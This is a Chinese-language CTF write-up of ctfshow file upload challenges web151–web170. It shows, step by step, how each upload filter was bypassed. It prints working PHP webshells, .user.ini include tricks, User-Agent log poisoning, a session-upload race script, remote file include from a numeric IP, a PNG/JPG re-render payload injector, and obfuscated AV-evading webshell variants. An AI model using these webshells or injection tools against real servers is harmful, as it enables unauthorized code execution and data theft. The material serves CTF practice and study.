web151
新的起点,加油!
打开环境,发现:
查看一下前端代码:
将相关前端校验进行修改,尝试上传一句话木马:
# webshell.php
<?php @eval($_POST[1]);?>
上传成功:
使用相关工具进行连接即可:
Hint
前端验证,抓包修改数据OK
web152
后端不能单一校验
再像上一题一样的话就会弹出文件类型不符合要求,猜测有后端校验,修改前端代码后进行抓包改包:
然后发现上传成功:
蚁剑连接获得flag即可!!
web153
后端不能单一校验
老样子试一下,先将前端校验代码改一下,然后抓包,修改Content-Type
,但是上传失败:
猜想可能限制了文件名,使用大小写看看是否可以绕过,成功!!!
访问发现并未解析成php,而是给了一个文件,蚁剑连接也显示无返回,没办法另寻他法吧。。。。
不过并不是一无所获,尝试上传其他的文件名发现都可以成功,猜测这里是一个黑名单过滤,尝试上传文件后缀名改为php5
、phps
等发现不行。。。。
继续观察题目,看到upload目录有回显,说明有index.php。
尝试上传.user.ini
# .user.ini
auto_prepend_file = 1.txt
意思是自动解析1.txt的脚本文件:
然后访问/upload
,使用密码获取flag即可。。。。
这里POST少了一个;
,加上就能得到flag了!!!!
web154
后端不能单二校验
按照上一题的思路进行尝试:
先上传.user.ini
再上传1.txt
出现报错了,看一下报的啥错误:
可以知道这时候后台对文件内容进行了限制,先猜测是对php进行了限制,将php改掉看看有没有用:
可以看到是上传成功了,说明这里是对php进行了过滤,这里就需要用到一种远古写法:
<?=$a;?>
==> <?php echo $a;?>
这里直接使用这种写法就可以过了!!!
利用shell获取flag
提交即可获得flag!!!
web155
后端不能单三校验
按照上一题的方法,看一下upload
目录下有没有php文件:
发现是有的,参考上一题思路传入.ini
配置文件,先将前端校验改成允许ini
后缀名通过。
传入文件,使用burp进行拦截,修改content-type
:
再传入1.txt。
然后再upload命令执行即可:
nice!!!!
web156
后端不能单四校验
继续尝试上一题步骤看看能不能白嫖!!!
有戏!!!
nice!!!只剩下传1.txt了!!
看一下报了啥错:
。。。。。猜测是使用了白名单。。。
再次尝试:
然后上传1.png
但是发现传错了,再次上传的时候就失败了。。。。
猜测过滤了[]
,使用{}
绕过:
命令执行获得flag!!!
这么看起来可能上面第一次失败不是因为白名单,尝试传1.txt
:
成功,看来是我误会出题者的意思了,本题应该只是想考察一下[]
与{}
替换绕过的知识点。
web157
后端不能单五校验
按照上面的解题思路进行解,还是老样子上传.user.ini
文件,成功以后上传1.txt
又提示文件类型报错。。。。尝试修改文件名,发现还是不对。。。尝试把问好去掉:
<?=eval($_POST{1});?>
<script language="php">eval($_POST{1});</script>
但是还是不行,尝试将;去掉,发现成功了!!!
<?=system('tac ../f*')?>
访问/upload
得到flag!!!!
大师傅解法:
<?=eval(array_pop($_POST))?>
POST:1=system("tac ../flag.php");
ctrl+R 后flag显现!!!
这里写的字符在nothing here
前面还是后面主要取决于前面所传的.user.ini
auto_prepend_file=filename
//包含在文件头
auto_append_file=filename
//包含在文件尾 //filename是你自己的文件名
web158
后端不能单六校验
按照上一题思路做发现可以白嫖!!!!
不出flag咋整
先访问/upload/1.txt
看到显示了<?=system('tac ../f*')?>
说明前面做的是对的,再返回查看一下/upload
,flag就自动出来了!!!
web159
师傅们可以的
继续白嫖,然后发现:
尝试上传符号看一下哪些会产生报错:
发现括号被禁用了,再看看别的:
发现[]
、{}
、;
被禁用了,与上面的猜测是一致的,所以这里使用反引号执行命令:
<?=`tac ../f*`?>
访问/upload
得到flag!!!!
web160
师傅们可以的
日志包含
查看一下/upload
发现还有,继续白嫖,但是报错了:
尝试一下看看是不是被封掉了,发现反引号和空格都被ban掉了。。。。
查看师傅们的wp发现得用日志包含做。。
先传一个配置文件
# .user.ini
auto_append_file=/var/www/html/upload/1.txt
尝试发现log被ban掉了,尝试使用php拼接语法:
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
访问一下根目录(就是题目的网址),提交一个UA(User-Agent
)
<?php system('tac ../f*');?>
然后访问/upload
即可在最后获得flag!!!
方法二:提交图片
先上传.user.ini,再上传图片,图片内容为
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
然后直接访问/upload/,进行base64解码就行
web161
狮虎们轻点,嘤嘤嘤
给上题加上一个文件头即可:
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
# .user.ini
GIF89a
auto_append_file=/var/www/html/upload/1.txt
# 1.txt
GIF89a
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
然后访问/upload
得到:
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0yMSAyMTozMToyMw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMTAtMTYgMjI6NDE6NDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3syNjI2YThlZS1kZjBkLTQ0MzUtOGE4Zi01NjY3MzY3OTRhOGN9Ijs=1
----------------------------------------------------------------------------------
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-21 21:31:23
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:41:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{2626a8ee-df0d-4435-8a8f-566736794a8c}";Ô
web162
姿势挺多的啊?啊?
非预期解:远程文件包含
<?=include"http://1363569045/?>
但是这个站点不行了。。
预期解:Session包含条件竞争-脚本
题目禁用了.
,只能使用session进行条件竞争了。。。
# coding=utf-8
import io
import requests
import threading
sessID = 'test'
url = 'http://5bd840c1-215f-42e6-8574-6c3bf67fc5de.challenge.ctf.show/'
def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 256 * 1)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("nl ../*.php");?>'},
files={'file': ('test.txt', f)}
)
def read(session):
while event.isSet():
response = session.get(url + 'upload/index.php'.format(sessID))
if 'flag' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')
if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 5):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 5):
threading.Thread(target=read, args=(session,)).start()
没跑出来。。。。
非预期解:伪协议
# .user.ini
GIF89a
auto_prepend_file=/var/www/html/upload/png
# png
GIF89a
<?=require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1?>
Kradress师傅写的简单取反脚本:
<?php
$a = "data://text/plain,<?php system('tac ../f*');?>";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
echo "%".bin2hex(~$a[$i]);
}
echo ")";
//~(%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1)
我这边试验的时候有以下报错:
然后多番尝试无果后,向群友进行了求助:
得到的回应:
看来这个方法暂时没办法使用。
预期解:Session包含条件竞争-脚本
先上传.user.ini,内容为:
GIF89A
auto_append_file=/tmp/sess_hacker
还是先构造一个上传seeeion文件的包
<!DOCTYPE html>
<html>
<body>
<form action="http://5bd840c1-215f-42e6-8574-6c3bf67fc5de.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
改Cookie:PHPSESSID=hacker
在123那里写入内容
<?php system('tac ../f*');?>
访问upload/
目录,目录下有index.php
文件,即相当于在index.php
文件中执行include /tmp/sess_hacker
对两个包进行有效载荷的设置,然后竞争。
自创做法-失败
因为我有个博客嘛,就买了一个oss图床,我先上传一个不带后缀名的文件上去,将地址改为纯数字,再远程文件包含看看行不行!!!
访问一下:报错了:
This XML file does not appear to have any style information associated with it. The document tree is shown below.
没有后缀名的文件不好解析。。。。
再次尝试-群里再次牢骚了一番
将ip(信息搜集)转化为长地址:
def ip2long(ip):
ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
result = 0
for i in range(4): #0,1,2,3
result = result+int(ip_list[i])*256**(3-i)
print(result)
return result
ip2long("43.154.107.226")
#731540450
然后查看一下,有戏!!!!
UA直接读flag即可:
然后base64解码即可:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-21 21:31:23
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:41:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{1db95566-2853-4295-9dbe-82fc8c31a354}";
web163
玉石俱焚
非预期解-远程文件包含
# .user.ini
auto_append_file=http://1363569045/
大师傅牛逼
我再重复上一题解法的时候报错了,然后我在群里问:
重开环境,重新来!!!大师傅我好爱!!!
成功了:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-21 21:31:23
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-16 22:41:40
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag="ctfshow{1db95566-2853-4295-9dbe-82fc8c31a354}";
但是提交会失败。。。。
群里咨询了一下大师傅:
nice,我好爱大师傅。。。
web164
改头换面
本题考查png图片的二次渲染,详情可以参考这里的大佬blog:
https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
二次渲染 将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
这里直接使用国外大佬写的脚本:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
------------------------------------
创建1.png图片成功!
------------------------------------
上传图片马:
ctrl + s
打开以后用16进制打开(记事本也可以)即可得到flag:
web165
改头换面2.0
本题考查了jpg的二次渲染,同样参考了国外大佬的脚本:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法为:php jpg_payload.php <jpg_name.jpg>
jpg_payload.php
是上面脚本的名字<jpg_name.jpg>
是自己创建的jpg文件的名字
运行完以后它会显示:
End Of File
说明寄了。。。换个真实的jpg试试:
Success!
上面失败是因为是一个空文件。。。
将下面的payload_b.jpg
传上去即可:
保存下来,查看没找到。。。
其实不是这么用的,重新来,先将原始文件上传,再查看文件保存,最后进行脚本处理再次上传,查看照片,抓包改包,POST传参,最后失败。。。
查看以后发现是post传参传错了,正确传参以后得到flag!
web166
刻骨铭心
打开环境看一下,发现变成了压缩文件:
写一个一句话木马。压缩一下:
abcdefg
<?php eval($_POST[1]);?>
上传以后看一下是否可以RCE:
然后获取flag即可:
它会给一个损坏的压缩文件,用文本形式打开即可获得flag!!!
web167
httpd
httpd是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。
打开环境进行观察,发现/upload
下的index.php
没权限访问了。。。。
查看一下这个apach版本的漏洞,发现了解析漏洞。
先随便上传一个jpg,然后修改一下:
AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析 成php
或者
SetHandler application/x-httpd-php //将所有文件都解析为 php 文件
然后上传一个shell:
按道理说是可以getflag了,但是我这里遇到报错了。。。
赶紧去群里问了一下师傅们,闲着无聊的时候我重新看了一下,才发现我是个傻逼:
我这里上传了一个真实的jpg,这个jpg前面一堆空白行我只删除了一部分,然后将自己的代码嵌入进去,下面还有一堆乱码没有删除。。。。
删除完以后就正常了。。。。
web168
基础免杀
这里直接参考师傅们的免杀了,https://www.cnblogs.com/sen-y/p/15579078.html#_label15
免杀一
<?=`$_REQUEST[1]`;?> //利用反引号执行系统命令
免杀二
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
//a=system&b=tac ../flagaa.php
免杀三
<?php $a='syste'.'m';($a)('ls ../'); //拼接
//把ls ../换成tac ../flagaa.php即可找到flag
免杀四
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相当于system,给1赋值参数即可
免杀五
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
免杀六
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
免杀七
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数 get传参 abs=system&acos=tac ../flagaa.php
找到flag!!!!
web169
高级免杀
先看一下基础信息:
可见上传.zip
,尝试上传,发现报错:文件上传失败,失败原因:文件类型不合规
抓包看一下,改一下文件类型:
尝试使用日志包含:
上传UA一句话木马:
再随便上传一个php文件,内容不限:
准备getflag了,但是无论是上传的地址还是index.php都一直显示:
重新来吧,重启环境,抓包改包,上传一个index.php
。
然后查看一下,发现还是不存在。。。。
我回来重新做了一次,使用burp抓包改包
- 先提交
.user.ini
,内容为auto_append_file=/var/log/nginx/access.log
- 提交一个index.php文件
- UA提交一句话木马
- RCE
web170
终极免杀
同上一题解法: